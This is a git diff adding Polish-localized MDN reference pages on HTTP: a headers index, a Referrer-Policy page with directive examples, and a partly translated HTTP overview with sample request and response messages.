+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "Date", "7.1.1.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Zgodność z przeglądarką

+ + + +

{{Compat("http.headers.Date")}}

+ +

Zobacz również

+ + diff --git a/files/pl/web/http/headers/index.html b/files/pl/web/http/headers/index.html new file mode 100644 index 0000000000..9c8850dc38 --- /dev/null +++ b/files/pl/web/http/headers/index.html @@ -0,0 +1,374 @@ +--- +title: HTTP headers +slug: Web/HTTP/Headers +tags: + - HTTP + - Headers + - NeedsTranslation + - Networking + - Reference + - TopicStub +translation_of: Web/HTTP/Headers +--- +
{{HTTPSidebar}}
+ +

HTTP headers allow the client and the server to pass additional information with the request or the response. A request header consists of its case-insensitive name followed by a colon ':', then by its value (without line breaks). Leading white space before the value is ignored.

+ +

Custom proprietary headers can be added using the 'X-' prefix, but this convention was deprecated in June 2012, because of the inconveniences it caused when non-standard fields became standard in RFC 6648; others are listed in an IANA registry, whose original content was defined in RFC 4229. IANA also maintains a registry of proposed new HTTP message headers.

+ +

Headers can be grouped according to their contexts:

+ + + +

Headers can also be grouped according to how proxies handle them:

+ +
+
End-to-end headers
+
These headers must be transmitted to the final recipient of the message; that is, the server for a request or the client for a response. Intermediate proxies must retransmit end-to-end headers unmodified and caches must store them.
+
Hop-by-hop headers
+
These headers are meaningful only for a single transport-level connection and must not be retransmitted by proxies or cached. Such headers are: {{ httpheader("Connection") }}, {{ httpheader("Keep-Alive") }}, {{ httpheader("Proxy-Authenticate") }}, {{ httpheader("Proxy-Authorization") }}, {{ httpheader("TE") }}, {{ httpheader("Trailer") }}, {{ httpheader("Transfer-Encoding") }} and {{ httpheader("Upgrade") }}. Note that only hop-by-hop headers may be set using the {{ httpheader("Connection") }} general header.
+
+ +

The following list summarizes HTTP headers by their usage category. For an alphabetical list, see the navigation on the left side.

+ +

Authentication

+ +
+
{{HTTPHeader("WWW-Authenticate")}}
+
Defines the authentication method that should be used to gain access to a resource.
+
{{HTTPHeader("Authorization")}}
+
Contains the credentials to authenticate a user agent with a server.
+
{{HTTPHeader("Proxy-Authenticate")}}
+
Defines the authentication method that should be used to gain access to a resource behind a Proxy server.
+
{{HTTPHeader("Proxy-Authorization")}}
+
Contains the credentials to authenticate a user agent with a proxy server.
+
+ +

Caching

+ +
+
{{HTTPHeader("Age")}}
+
The time in seconds the object has been in a proxy cache.
+
{{HTTPHeader("Cache-Control")}}
+
Specifies directives for caching mechanisms in both requests and responses.
+
{{HTTPHeader("Expires")}}
+
The date/time after which the response is considered stale.
+
{{HTTPHeader("Pragma")}}
+
Implementation-specific header that may have various effects anywhere along the request-response chain. Used for backwards compatibility with HTTP/1.0 caches where the Cache-Control header is not yet present.
+
{{HTTPHeader("Warning")}}
+
A general warning field containing information about possible problems.
+
+ +

Client hints

+ +
+
{{HTTPHeader("Accept-CH")}}
+
...
+
{{HTTPHeader("Content-DPR")}}
+
...
+
{{HTTPHeader("DPR")}}
+
...
+
{{HTTPHeader("Downlink")}}
+
...
+
{{HTTPHeader("Save-Data")}}
+
...
+
{{HTTPHeader("Viewport-Width")}}
+
...
+
{{HTTPHeader("Width")}}
+
...
+
+ +
+
+

Conditionals

+
+
{{HTTPHeader("Last-Modified")}}
+
It is a validator, the last modification date of the resource, used to compare several versions of the same resource. It is less accurate than {{HTTPHeader("ETag")}}, but easier to calculate in some environments. Conditional requests using {{HTTPHeader("If-Modified-Since")}} and {{HTTPHeader("If-Unmodified-Since")}} use this value to change the behavior of the request.
+
{{HTTPHeader("ETag")}}
+
It is a validator, a unique string identifying the version of the resource. Conditional requests using {{HTTPHeader("If-Match")}} and {{HTTPHeader("If-None-Match")}} use this value to change the behavior of the request.
+
{{HTTPHeader("If-Match")}}
+
Makes the request conditional and applies the method only if the stored resource matches one of the given ETags.
+
{{HTTPHeader("If-None-Match")}}
+
Makes the request conditional and applies the method only if the stored resource doesn't match any of the given ETags. This is used to update caches (for safe requests), or to prevent to upload a new resource when one is already existing.
+
{{HTTPHeader("If-Modified-Since")}}
+
Makes the request conditional and expects the entity to be transmitted only if it has been modified after the given date. This is used to transmit data only when the cache is out of date.
+
{{HTTPHeader("If-Unmodified-Since")}}
+
Makes the request conditional and expects the entity to be transmitted only if it has not been modified after the given date. This is used to ensure the coherence of a new fragment of a specific range with previous ones, or to implement an optimistic concurrency control system when modifying existing documents.
+
+ +

Connection management

+ +
+
{{HTTPHeader("Connection")}}
+
Controls whether the network connection stays open after the current transaction finishes.
+
{{HTTPHeader("Keep-Alive")}}
+
Controls how long a persistent connection should stay open.
+
+ +

Content negotiation

+ +
+
{{HTTPHeader("Accept")}}
+
Informs the server about the types of data that can be sent back. It is MIME-type.
+
{{HTTPHeader("Accept-Charset")}}
+
Informs the server about which character set the client is able to understand.
+
{{HTTPHeader("Accept-Encoding")}}
+
Informs the server about the encoding algorithm, usually a compression algorithm, that can be used on the resource sent back.
+
{{HTTPHeader("Accept-Language")}}
+
Informs the server about the language the server is expected to send back. This is a hint and is not necessarily under the full control of the user: the server should always pay attention not to override an explicit user choice (like selecting a language in a drop down list).
+
+ +
+
+ +

Controls

+ +
+
{{HTTPHeader("Expect")}}
+
Indicates expectations that need to be fulfilled by the server in order to properly handle the request.
+
{{HTTPHeader("Max-Forwards")}}
+
...
+
+ +

Cookies

+ +
+
{{HTTPHeader("Cookie")}}
+
Contains stored HTTP cookies previously sent by the server with the {{HTTPHeader("Set-Cookie")}} header.
+
{{HTTPHeader("Set-Cookie")}}
+
Send cookies from the server to the user agent.
+
{{HTTPHeader("Cookie2")}} {{obsolete_inline}}
+
Used to contain an HTTP cookie, previously sent by the server with the {{HTTPHeader("Set-Cookie2")}} header, but has been obsoleted by the specification. Use {{HTTPHeader("Cookie")}} instead.
+
{{HTTPHeader("Set-Cookie2")}} {{obsolete_inline}}
+
Used to send cookies from the server to the user agent, but has been obsoleted by the specification. Use {{HTTPHeader("Set-Cookie")}} instead.
+
+

CORS

+
+
{{HTTPHeader("Access-Control-Allow-Origin")}}
+
Indicates whether the response can be shared.
+
{{HTTPHeader("Access-Control-Allow-Credentials")}}
+
Indicates whether the response to the request can be exposed when the credentials flag is true.
+
{{HTTPHeader("Access-Control-Allow-Headers")}}
+
Used in response to a preflight request to indicate which HTTP headers can be used when making the actual request.
+
{{HTTPHeader("Access-Control-Allow-Methods")}}
+
Specifies the method or methods allowed when accessing the resource in response to a preflight request.
+
{{HTTPHeader("Access-Control-Expose-Headers")}}
+
Indicates which headers can be exposed as part of the response by listing their names.
+
{{HTTPHeader("Access-Control-Max-Age")}}
+
Indicates how long the results of a preflight request can be cached.
+
{{HTTPHeader("Access-Control-Request-Headers")}}
+
Used when issuing a preflight request to let the server know which HTTP headers will be used when the actual request is made.
+
{{HTTPHeader("Access-Control-Request-Method")}}
+
Used when issuing a preflight request to let the server know which HTTP method will be used when the actual request is made.
+
{{HTTPHeader("Origin")}}
+
Indicates where a fetch originates from.
+
{{HTTPHeader("Timing-Allow-Origin")}}
+
Specifies origins that are allowed to see values of attributes retrieved via features of the Resource Timing API, which would otherwise be reported as zero due to cross-origin restrictions.
+
+ +

Do Not Track

+ +
+
{{HTTPHeader("DNT")}}
+
Used for expressing the user's tracking preference.
+
{{HTTPHeader("Tk")}}
+
Indicates the tracking status that applied to the corresponding request.
+
+ +

Downloads

+ +
+
{{HTTPHeader("Content-Disposition")}}
+
Is a response header if the resource transmitted should be displayed inline (default behavior when the header is not present), or it should be handled like a download and the browser should present a 'Save As' window.
+
+ +

Message body information

+ +
+
{{HTTPHeader("Content-Length")}}
+
indicates the size of the entity-body, in decimal number of octets, sent to the recipient.
+
{{HTTPHeader("Content-Type")}}
+
Indicates the media type of the resource.
+
{{HTTPHeader("Content-Encoding")}}
+
Used to specify the compression algorithm.
+
{{HTTPHeader("Content-Language")}}
+
Describes the language(s) intended for the audience, so that it allows a user to differentiate according to the users' own preferred language.
+
{{HTTPHeader("Content-Location")}}
+
Indicates an alternate location for the returned data.
+
+

Proxies

+
+
+ +
+
{{HTTPHeader("Forwarded")}}
+
Contains information from the client-facing side of proxy servers that is altered or lost when a proxy is involved in the path of the request.
+
{{HTTPHeader("X-Forwarded-For")}} {{non-standard_inline}}
+
Identifies the originating IP addresses of a client connecting to a web server through an HTTP proxy or a load balancer.
+
{{HTTPHeader("X-Forwarded-Host")}} {{non-standard_inline}}
+
Identifies the original host requested that a client used to connect to your proxy or load balancer.
+
{{HTTPHeader("X-Forwarded-Proto")}} {{non-standard_inline}}
+
identifies the protocol (HTTP or HTTPS) that a client used to connect to your proxy or load balancer.
+
{{HTTPHeader("Via")}}
+
Added by proxies, both forward and reverse proxies, and can appear in the request headers and the response headers.
+
+ +

Redirects

+ +
+
{{HTTPHeader("Location")}}
+
Indicates the URL to redirect a page to.
+
+ +

Request context

+ +
+
{{HTTPHeader("From")}}
+
Contains an Internet email address for a human user who controls the requesting user agent.
+
{{HTTPHeader("Host")}}
+
Specifies the domain name of the server (for virtual hosting), and (optionally) the TCP port number on which the server is listening.
+
{{HTTPHeader("Referer")}}
+
The address of the previous web page from which a link to the currently requested page was followed.
+
{{HTTPHeader("Referrer-Policy")}}
+
Governs which referrer information sent in the {{HTTPHeader("Referer")}} header should be included with requests made.
+
{{HTTPHeader("User-Agent")}}
+
Contains a characteristic string that allows the network protocol peers to identify the application type, operating system, software vendor or software version of the requesting software user agent. See also the Firefox user agent string reference.
+
+ +

Response context

+ +
+
{{HTTPHeader("Allow")}}
+
Lists the set of HTTP request methods support by a resource.
+
{{HTTPHeader("Server")}}
+
Contains information about the software used by the origin server to handle the request.
+
+ +

Range requests

+ +
+
{{HTTPHeader("Accept-Ranges")}}
+
Indicates if the server supports range requests and if so, in which unit the range can be expressed.
+
{{HTTPHeader("Range")}}
+
Indicates the part of a document that the server should return.
+
{{HTTPHeader("If-Range")}}
+
Creates a conditional range request that is only fulfilled if the given etag or date matches the remote resource. Used to prevent downloading two ranges from incompatible version of the resource.
+
{{HTTPHeader("Content-Range")}}
+
Indicates where in a full body message a partial message belongs.
+
+ +

Security

+ +
+
{{HTTPHeader("Content-Security-Policy")}} ({{Glossary("CSP")}})
+
Controls resources the user agent is allowed to load for a given page.
+
{{HTTPHeader("Content-Security-Policy-Report-Only")}}
+
Allows web developers to experiment with policies by monitoring (but not enforcing) their effects. These violation reports consist of {{Glossary("JSON")}} documents sent via an HTTP POST request to the specified URI.
+
{{HTTPHeader("Expect-CT")}}
+
Allows sites to opt in to reporting and/or enforcement of Certificate Transparency requirements, which prevents the use of misissued certificates for that site from going unnoticed. When a site enables the Expect-CT header, they are requesting that Chrome check that any certificate for that site appears in public CT logs.
+
{{HTTPHeader("Public-Key-Pins")}} ({{Glossary("HPKP")}})
+
Associates a specific cryptographic public key with a certain web server to decrease the risk of {{Glossary("MITM")}} attacks with forged certificates.
+
{{HTTPHeader("Public-Key-Pins-Report-Only")}}
+
Sends reports to the report-uri specified in the header and does still allow clients to connect to the server even if the pinning is violated.
+
+ +
+
{{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}})
+
Force communication using HTTPS instead of HTTP.
+
{{HTTPHeader("Upgrade-Insecure-Requests")}}
+
Sends a signal to the server expressing the client’s preference for an encrypted and authenticated response, and that it can successfully handle the {{CSP("upgrade-insecure-requests")}} directive.
+
+ +
+
{{HTTPHeader("X-Content-Type-Options")}}
+
Disables MIME sniffing and forces browser to use the type given in {{HTTPHeader("Content-Type")}}.
+
+ +
+
{{HTTPHeader("X-Frame-Options")}} (XFO)
+
Indicates whether a browser should be allowed to render a page in a {{HTMLElement("frame")}}, {{HTMLElement("iframe")}} or {{HTMLElement("object")}}
+
{{HTTPHeader("X-XSS-Protection")}}
+
Enables cross-site scripting filtering.
+
+ +

Server-sent events

+ +
+
{{HTTPHeader("Ping-From")}}
+
...
+
{{HTTPHeader("Ping-To")}}
+
...
+
{{HTTPHeader("Last-Event-ID")}}
+
...
+
+ +

Transfer coding

+ +
+
{{HTTPHeader("Transfer-Encoding")}}
+
Specifies the the form of encoding used to safely transfer the entity to the user.
+
{{HTTPHeader("TE")}}
+
Specifies the transfer encodings the user agent is willing to accept.
+
{{HTTPHeader("Trailer")}}
+
Allows the sender to include additional fields at the end of chunked message.
+
+ +

WebSockets

+ +
+
{{HTTPHeader("Sec-WebSocket-Key")}}
+
...
+
{{HTTPHeader("Sec-WebSocket-Extensions")}}
+
...
+
{{HTTPHeader("Sec-WebSocket-Accept")}}
+
...
+
{{HTTPHeader("Sec-WebSocket-Protocol")}}
+
...
+
{{HTTPHeader("Sec-WebSocket-Version")}}
+
...
+
+ +

Other

+ +
+
{{HTTPHeader("Date")}}
+
Contains the date and time at which the message was originated.
+
{{HTTPHeader("Expect-CT")}}
+
Allows sites to opt in to reporting and/or enforcement of Certificate Transparency requirements.
+
{{HTTPHeader("Large-Allocation")}}
+
Tells the browser that the page being loaded is going to want to perform a large allocation.
+
{{HTTPHeader("Link")}}
+
...
+
{{HTTPHeader("Retry-After")}}
+
Indicates how long the user agent should wait before making a follow-up request.
+
{{HTTPHeader("SourceMap")}}
+
Links generated code to a source map.
+
{{HTTPHeader("Upgrade")}}
+
The relevant RFC document for the Upgrade header field is RFC 7230, section 6.7.  The standard establishes rules for upgrading or changing to a different protocol on the current client, server, transport protocol connection.  For example, this header standard allows a client to change from HTTP 1.1 to HTTP 2.0, assuming the server decides to acknowledge and implement the Upgrade header field.  Neither party is required to accept the terms specified in the Upgrade header field.  It can be used in both client and server headers.  If the Upgrade header field is specified, then the sender MUST also send the Connection header field with the upgrade option specified.  For details on the Connection header field please see section 6.1 of the aforementioned RFC.
+
{{HTTPHeader("Vary")}}
+
Determines how to match future request headers to decide whether a cached response can be used rather than requesting a fresh one from the origin server.
+
{{HTTPHeader("X-DNS-Prefetch-Control")}}
+
Controls DNS prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as URLs for items referenced by the document, including images, CSS, JavaScript, and so forth.
+
{{HTTPHeader("X-Firefox-Spdy")}}
+
...
+
{{HTTPHeader("X-Requested-With")}}
+
...
+
{{HTTPHeader("X-UA-Compatible")}}
+
...
+
+ +

Contributing

+ +

You can help by writing new entries or improving the existing ones.

+ +

See also

+ + diff --git a/files/pl/web/http/headers/referrer-policy/index.html b/files/pl/web/http/headers/referrer-policy/index.html new file mode 100644 index 0000000000..186868538e --- /dev/null +++ b/files/pl/web/http/headers/referrer-policy/index.html @@ -0,0 +1,260 @@ +--- +title: Zasada Polecającego (Referrer-Policy) +slug: Web/HTTP/Headers/Referrer-Policy +tags: + - HTTP + - Reference + - Referencja + - Referrer-Policy + - Response + - Response Header + - nagłówek HTTP + - nagłówek odpowiedzi + - odpowiedź + - polecający + - prywatność + - referrer + - zasada polecającego +translation_of: Web/HTTP/Headers/Referrer-Policy +--- +
{{HTTPSidebar}}
+ +

{{glossary("HTTP header")}} Referrer-Policy kontroluje, w jakim zakresie informacje dot. polecającego (referrera) (wysyłane poprzez nagłówek {{HTTPHeader("Referer")}}) powinny być zawarte w żądaniu

+ + + + + + + + + + + + +
Typ nagłówka{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}nie
+ +

Składnia

+ +
+

Originalna nazwa nagłówka, {{HTTPHeader("Referer")}}, to błędnie zapisane słowo "referrer" ("polecający"). Nagłówek Referrer-Policy nie zawiera tej literówki.

+
+ +
Referrer-Policy: no-referrer
+Referrer-Policy: no-referrer-when-downgrade
+Referrer-Policy: origin
+Referrer-Policy: origin-when-cross-origin
+Referrer-Policy: same-origin
+Referrer-Policy: strict-origin
+Referrer-Policy: strict-origin-when-cross-origin
+Referrer-Policy: unsafe-url
+
+ +

Dyrektywy

+ +
+
no-referrer
+
Nagłówek {{HTTPHeader("Referer")}} zostanie całkowicie pominięty. Żadna informacja dot. polecającego nie zostanie wysłana w żądaniu.
+
no-referrer-when-downgrade (domyślna)
+
Zachowanie domyślne, jeśli zasada nie została określona lub jeśli wartość jest niepoprawna. {{glossary("origin")}}, {{glossary("path")}} oraz {{glossary("querystring")}} URLu są wysyłane jako polecający, podczas gdy poziom bezpieczeństwa protokołu pozostaje na tym samym poziomie (HTTP→HTTP, HTTPS→HTTPS) lub jest bezpieczniejszy (HTTP→HTTPS), ale nie gdy destynacja jest mniej bezpieczna (HTTPS→HTTP).
+
origin
+
Wysyła jedynie {{glossary("origin")}} dokumentu jako jego polecającego. Przykładowo, dokument pod adresem https://example.com/page.html wyśle referrer brzmiący: https://example.com/.
+
origin-when-cross-origin
+
Wyśle origin, ścieżkę i string z zapytaniem podczas obsługi żądania {{glossary("Same-origin_policy", "same-origin")}}, w innych przypadkach wyśle jedynie origin dokumentu.
+
same-origin
+
Referrer zostanie wysłany do originów same-site, natomiast żądania cross-origin nie będą zawierać informacji o referrerze.
+
strict-origin
+
Wyśle origin dokumentu jako referrer, jeśli poziom bezpieczeństwa protokołu zostaje na tym samym poziomie (HTTPS→HTTPS), nie wyśle, jeśli poziom bezpieczeństwa destynacji jest niższy (HTTPS→HTTP).
+
strict-origin-when-cross-origin
+
Wyśle origin, ścieżkę i string z zapytaniem podczas obsługi żądania same-orign, wyśle jedynie origin, jeśli poziom bezpieczeństwa protokołu pozostaje taki sam (HTTPS→HTTPS), natomiast nie wyśle nagłówka do destynacji o niższym poziomie bezpieczeństwa (HTTPS→HTTP).
+
unsafe-url
+
Wyśle origin, ścieżkę i string z zapytaniem podczas obsługi jakiegokolwiek zdarzenia, niezależnie od bezpieczeństwa. +
+

Niniejsza zasada może skutkować wyciekiem potencjalnie prywatnych informacji z URLów zasobów HTTPS do niebezpiecznych originów. Mocno się zastanów, zanim wybierzesz to ustawienie.

+
+
+
+ +

Integracja z HTMLem

+ +

Możesz ustawić zasady polecającego także w HTMLu. Przykładowo, możesz ustawić zasadę polecającego dla całego dokumentu poprzez konfigurację elementu {{HTMLElement("meta")}} z name równe referrer:

+ +
<meta name="referrer" content="origin">
+ +

Lub ustawić dla określonych żądań poprzez atrybut referrerpolicy na elementach {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("img")}}, {{HTMLElement("iframe")}}, {{HTMLElement("script")}} czy {{HTMLElement("link")}}:

+ +
<a href="http://example.com" referrerpolicy="origin">
+ +

Alternatywnie, w przypadku elementu a, area, bądź link możesz ustawić relację linku na noreferrer :

+ +
<a href="http://example.com" rel="noreferrer">
+ +

Integracja z CSSem

+ +

CSS może przechwytywać zasoby wyszczególnione w arkuszach stylów. Niniejsze zasoby również podlegają zasadzie polecającego:

+ + + +

Przykłady

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ZasadaDocumentNawigacja doReferrer
no-referrerhttps://example.com/pagegdziekolwiek(no referrer)
no-referrer-when-downgradehttps://example.com/pagehttps://example.com/otherpagehttps://example.com/page
https://mozilla.orghttps://example.com/page
http://example.org(no referrer)
originhttps://example.com/pageanywherehttps://example.com/
origin-when-cross-originhttps://example.com/pagehttps://example.com/otherpagehttps://example.com/page
https://mozilla.orghttps://example.com/
http://example.com/pagehttps://example.com/
same-originhttps://example.com/pagehttps://example.com/otherpagehttps://example.com/page
https://mozilla.org(no referrer)
strict-originhttps://example.com/pagehttps://mozilla.orghttps://example.com/
http://example.org(no referrer)
http://example.com/pageanywherehttp://example.com/
strict-origin-when-cross-originhttps://example.com/pagehttps://example.com/otherpagehttps://example.com/page
https://mozilla.orghttps://example.com/
http://example.org(no referrer)
unsafe-urlhttps://example.com/page?q=123anywherehttps://example.com/page?q=123
+ +

Określanie zasady awaryjnej

+ +

Jeśli chcesz określić zasadę awaryjną na wypadek, gdy pożądana zasada nie jest wspierana przez daną przeglądarkę, użyj listy oddzielonej przecinkiem, gdzie na samym końcu wpisujesz pożądaną zasadę:

+ +
Referrer-Policy: no-referrer, strict-origin-when-cross-origin
+ +

W przypadku powyższego scenariusza, no-referrer zostanie użyty jedynie, jeśli strict-origin-when-cross-origin nie jest wspierany przez daną przeglądarkę.

+ +

Określanie wielu wartości jest wspierane jedynie w nagłówku HTTP Referrer-Policy, nie jest natomiast w atrybucie referrerpolicy.

+ +

Specyfikacje

+ + + + + + + + + + + + + + +
SpecyfikacjaStatus
Zasada Referrera Wersja robocza redaktora
+ +

Kompatybilność z przeglądarkami

+ + + +

{{Compat("http.headers.Referrer-Policy")}}

+ +
+ + +

Dopuszczalne wartości to:

+ + +
+ +

Zobacz również

+ + diff --git "a/files/pl/web/http/http_wiadomosci_og\303\263lne/index.html" "b/files/pl/web/http/http_wiadomosci_og\303\263lne/index.html" new file mode 100644 index 0000000000..5fe95ca7ea --- /dev/null +++ "b/files/pl/web/http/http_wiadomosci_og\303\263lne/index.html" @@ -0,0 +1,178 @@ +--- +title: HTTP - wiadomości ogólne +slug: Web/HTTP/HTTP_wiadomosci_ogólne +tags: + - HTML + - HTTP + - Mechanika stron + - Wstęp +translation_of: Web/HTTP/Overview +--- +
{{HTTPSidebar}}
+ +

HTTP stanowi {{Glossary("protokół")}}, który umożliwia przechwytywanie zasobów, np. dokumentów HTML. Stanowi podstawę każdej wymiany danych w Internecie i jest protokołem klient-serwer, co oznacza, że żądania są inicjowane przez odbiorcę, przeważnie przeglądarkę internetową. Kompletny dokument jest rekonstruowany z różnych przechwyconych subdokumentów, np. tekstu, opisu szablonu, obrazków, video, skryptów itd.

+ +

A Web document is the composition of different resources

+ +

Klienci i serwery komunikują się poprzez wymianę pojedynczych komunikatów (w przeciwieństwie do strumienia danych). Komunikaty wysyłane przez klienta, przeważnie przeglądarkę internetową, nazywane są żądaniami, a wiadomości wysyłane w odpowiedzi przez serwer odpowiedziami.

+ +

HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer.Zaprojektowany na początku lat 90. HTTP jest protokołem elastycznym, który wyewoluował na przetrzeni czasu. Jest to protokół warstwy aplikacji, który jest wysyłany nad {{Glossary("TCP")}} lub nad połączeniem TCP zaszyfrowanym w {{Glossary("TLS")}}, chociaż dowolny, godny zaufania protokół transportu mógłby zostać teoretycznie użyty. Z powodu swojej rozszerzalności używany jest nie tylko do przechwytywania dokumentów hipertekstowych, ale również do obrazów i video, bądź do dodawania treści na serwery, jak dane wprowadzane do formularzy HTML. HTTP może być również używany do przechwytywania części dokumentów, aby na żądanie aktualizować strony WWW.

+ +

Komponenty systemów opartych o HTTP 

+ +

HTTP to protokół klient-serwer: żądania są wysyłane przez jedną jednostkę, agenta użytkownika (lub proxy w jego imieniu). Przeważnie użytkownika jest jednoznaczny z przeglądarką, ale tak naprawdę może być wszystkim, np. robotem przemierzającym sieć, by rozpowszechnić i utrzymywać indeks wyszukiwarki.

+ +

Każde indywidualne żądanie jest wysyłane na serwer, który je obsługuje i dostarcza informację zwrotną, zwaną odpowiedzią. Pomiędzy klientem a serwerem znajduje się wiele jednostek, kolektywnie nazywanych {{Glossary("Proxy_server", "proxies")}}, które zajmują się różnymi operacjami i funkcjonują jako bramki lub np. {{Glossary("Cache", "caches")}}.

+ +

Client server chain

+ +

W rzeczywistości pomiędzy przeglądarką i serwerem istnieje więcej komputerów obsługujących żądania: są to routery, modemy itd. Dzięki temu, że układ sieci jest warstwowy, znajdują się one w warstwach sieci i transportu. HTTP znajduje się na samej górze, w warstwie aplikacji. Mimo, że diagnoza problemów pojawiających się sieci jest bardzo istotna, warstwy znajdujące się poniżej przeważnie są nieistotne przy opisie HTTP.

+ +

Klient: agent użytkownika (user-agent)

+ +

User-agent to każde narzędzie, które działa w imieniu użytkownika. Najczęściej jest nim przeglądarka internetowa, mogą to byc także programy używane przez programistów do debugowania ich aplikacji.

+ +

Przegladarka jest zawsze jednostką inicjującą żądanie. Nigdy nie jest nim serwer (jednakże na przestrzeni lat, niektóre mechanizmy zostały dodane, w celu symulacji wiadomości inicjowanych przez serwer)

+ +

Aby zaprezentować stronę internetowa, przeglądarka wysyła orginalne żądanie, aby wydobyć dokument HTML, który reprezentuje tę stronę. Przeglądarka analizuje plik, robiąc tworząc dodatkowe żądania korespondujące ze skryptami, informacją o układzie strony do wyświetlenia (CSS), i pod zasobami zawartymi w stronie (najczęściej obrazy i wideo). Następnie przeglądarka łączy te zasoby aby zaprezentować uzytkownikowi kompletny dokument - stronę internetową. Skrypty wykonywane przez przeglądarkę mogą wydobywać więcej zasobów w kolejnych fazach oraz odpowiednio aktualizować stronę.

+ +

Strona internetowa jest documentem hipertekstowym. To znaczy niektórę części wyświetlanego tekstu są linkami, które mogą być aktywowane (najczęściej przez kliknięcie) aby włączyć nową strone internetową, pozwalającymi uzytkownikowi kierować jego user-agentów i nawigować w sieci. Przeglądarka tłumaczy te wytyczne poprzez żądania HTTP a następnie interpretuje odpowiedzi HTTP aby przedstawić użytkownikowi jasną odpowiedź

+ +

The Web server

+ +

On the opposite side of the communication channel, is the server, which serves the document as requested by the client. A server appears as only a single machine virtually: this is because it may actually be a collection of servers, sharing the load (load balancing) or a complex piece of software interrogating other computers (like cache, a DB server, or e-commerce servers), totally or partially generating the document on demand.

+ +

A server is not necessarily a single machine, but several server software instances can be hosted on the same machine. With HTTP/1.1 and the {{HTTPHeader("Host")}} header, they may even share the same IP address.

+ +

Proxies

+ +

Between the Web browser and the server, numerous computers and machines relay the HTTP messages. Due to the layered structure of the Web stack, most of these operate at the transport, network or physical levels, becoming transparent at the HTTP layer and potentially making a significant impact on performance. Those operating at the application layers are generally called proxies. These can be transparent, forwarding on the requests they receive without altering them in any way, or non-transparent, in which case they will change the request in some way before passing it along to the server. Proxies may perform numerous functions:

+ + + +

Basic aspects of HTTP

+ +

HTTP is simple

+ +

HTTP is generally designed to be simple and human readable, even with the added complexity introduced in HTTP/2 by encapsulating HTTP messages into frames. HTTP messages can be read and understood by humans, providing easier testing for developers, and reduced complexity for newcomers.

+ +

HTTP is extensible

+ +

Introduced in HTTP/1.0, HTTP headers make this protocol easy to extend and experiment with. New functionality can even be introduced by a simple agreement between a client and a server about a new header's semantics.

+ +

HTTP is stateless, but not sessionless

+ +

HTTP is stateless: there is no link between two requests being successively carried out on the same connection. This immediately has the prospect of being problematic for users attempting to interact with certain pages coherently, for example, using e-commerce shopping baskets. But while the core of HTTP itself is stateless, HTTP cookies allow the use of stateful sessions. Using header extensibility, HTTP Cookies are added to the workflow, allowing session creation on each HTTP request to share the same context, or the same state.

+ +

HTTP and connections

+ +

A connection is controlled at the transport layer, and therefore fundamentally out of scope for HTTP. Though HTTP doesn't require the underlying transport protocol to be connection-based; only requiring it to be reliable, or not lose messages (so at minimum presenting an error). Among the two most common transport protocols on the Internet, TCP is reliable and UDP isn't. HTTP therefore relies on the TCP standard, which is connection-based.

+ +

Before a client and server can exchange an HTTP request/response pair, they must establish a TCP connection, a process which requires several round-trips. The default behavior of HTTP/1.0 is to open a separate TCP connection for each HTTP request/response pair. This is less efficient than sharing a single TCP connection when multiple requests are sent in close succession.

+ +

In order to mitigate this flaw, HTTP/1.1 introduced pipelining (which proved difficult to implement) and persistent connections: the underlying TCP connection can be partially controlled using the {{HTTPHeader("Connection")}} header. HTTP/2 went a step further by multiplexing messages over a single connection, helping keep the connection warm and more efficient.

+ +

Experiments are in progress to design a better transport protocol more suited to HTTP. For example, Google is experimenting with QUIC which builds on UDP to provide a more reliable and efficient transport protocol.

+ +

What can be controlled by HTTP

+ +

This extensible nature of HTTP has, over time, allowed for more control and functionality of the Web. Cache or authentication methods were functions handled early in HTTP history. The ability to relax the origin constraint, by contrast, has only been added in the 2010s.

+ +

Here is a list of common features controllable with HTTP.

+ + + +

HTTP flow

+ +

When a client wants to communicate with a server, either the final server or an intermediate proxy, it performs the following steps:

+ +
    +
  1. Open a TCP connection: The TCP connection is used to send a request, or several, and receive an answer. The client may open a new connection, reuse an existing connection, or open several TCP connections to the servers.
    2. +
  2. Send an HTTP message: HTTP messages (before HTTP/2) are human-readable. With HTTP/2, these simple messages are encapsulated in frames, making them impossible to read directly, but the principle remains the same. For example: + 
    GET / HTTP/1.1
+Host: developer.mozilla.org
+Accept-Language: fr
    +
    3. +
  3. Read the response sent by the server, such as: + 
    HTTP/1.1 200 OK
+Date: Sat, 09 Oct 2010 14:28:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
+ETag: "51142bc1-7449-479b075b2891b"
+Accept-Ranges: bytes
+Content-Length: 29769
+Content-Type: text/html
+
+<!DOCTYPE html... (here comes the 29769 bytes of the requested web page)
    +
    4. +
  4. Close or reuse the connection for further requests.
    5. +
+ +

If HTTP pipelining is activated, several requests can be sent without waiting for the first response to be fully received. HTTP pipelining has proven difficult to implement in existing networks, where old pieces of software coexist with modern versions. HTTP pipelining has been superseded in HTTP/2 with more robust multiplexing requests within a frame.

+ +

HTTP Messages

+ +

HTTP messages, as defined in HTTP/1.1 and earlier, are human-readable. In HTTP/2, these messages are embedded into a binary structure, a frame, allowing optimizations like compression of headers and multiplexing. Even if only part of the original HTTP message is sent in this version of HTTP, the semantics of each message is unchanged and the client reconstitutes (virtually) the original HTTP/1.1 request. It is therefore useful to comprehend HTTP/2 messages in the HTTP/1.1 format.

+ +

There are two types of HTTP messages, requests and responses, each with its own format.

+ +

Requests

+ +

An example HTTP request:

+ +

A basic HTTP request

+ +

Requests consists of the following elements:

+ + + +

Responses

+ +

An example response:

+ +

+ +

Responses consist of the following elements:

+ + + +

APIs based on HTTP

+ +

The most commonly used API based on HTTP is the {{domxref("XMLHttpRequest")}} API, which can be used to exchange data between a {{Glossary("user agent")}} and a server. The modern {{domxref("Fetch API")}} provides the same features with a more powerful and flexible feature set.

+ +

